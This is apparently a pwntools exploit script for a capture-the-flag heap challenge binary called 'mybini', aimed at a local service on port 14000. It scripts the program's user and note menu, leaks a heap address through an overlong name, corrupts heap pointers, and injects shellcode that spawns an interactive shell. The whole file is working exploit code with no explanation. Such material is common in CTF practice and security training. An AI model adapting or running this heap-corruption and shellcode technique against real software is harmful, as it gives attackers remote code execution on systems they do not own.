from pwn import *
context.terminal = "tmux splitw -h".split()
context.binary = elf = ELF('chall/mybini')

#p = gdb.debug(elf.path, '''
#set max-visualize-chunk-size 0x500
#b * _ZN7MyKisah3addEPc+110
#c
#''')
#p = elf.process()
#gdb.attach(p)
p = remote('localhost', 14000)

def register(name, level):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b': ', name)
    p.sendlineafter(b': ', str(level).encode())
    
def login(name):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b': ', name)

def logout():
    p.sendlineafter(b'> ', b'4')

def add(data):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b': ', data)

def edit(name):
    p.sendlineafter(b'> ', b'0')
    p.sendlineafter(b': ', name)

def delete(idx):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b': ', str(idx).encode())

register(b'user0', 0xdeadbeef)
register(b'user1', 0xdeadbeef)
register(b'user2', 0xdeadbeef)

login(b'user2')
for i in range(8): add(b'a')

read = shellcraft.read(0, 'rdx', 0x100)
add(asm(read))
logout()

register(b'user3', 0xdeadbeef)
register(b'user4', 0xdeadbeef)
register(b'user5', 0xdeadbeef)
register(b'x' * 0x10, 0xdeadbeef)
register(b'user7', 0xdeadbeef)

login(b'user5')
for i in range(4): add(b'a')

edit(b'z' * 0x18)
add(b'\0')
logout()

p.sendlineafter(b'> ', b'3')
p.recvuntil(b'x' * 0x10)

heap = unpack(p.recvuntil(b' adalah', drop=True),'all')
log.info(f"{hex(heap) = }")

login(b'z'*0x18)
delete(0)

add(b'a' * 8 + p64(heap-0x130))
delete(0)

logout()
login(b'x'*0x10)

add(p64(heap-0x1f8))
sleep(1)
p.send(b'a' * 0xd + asm(shellcraft.sh()))

p.interactive()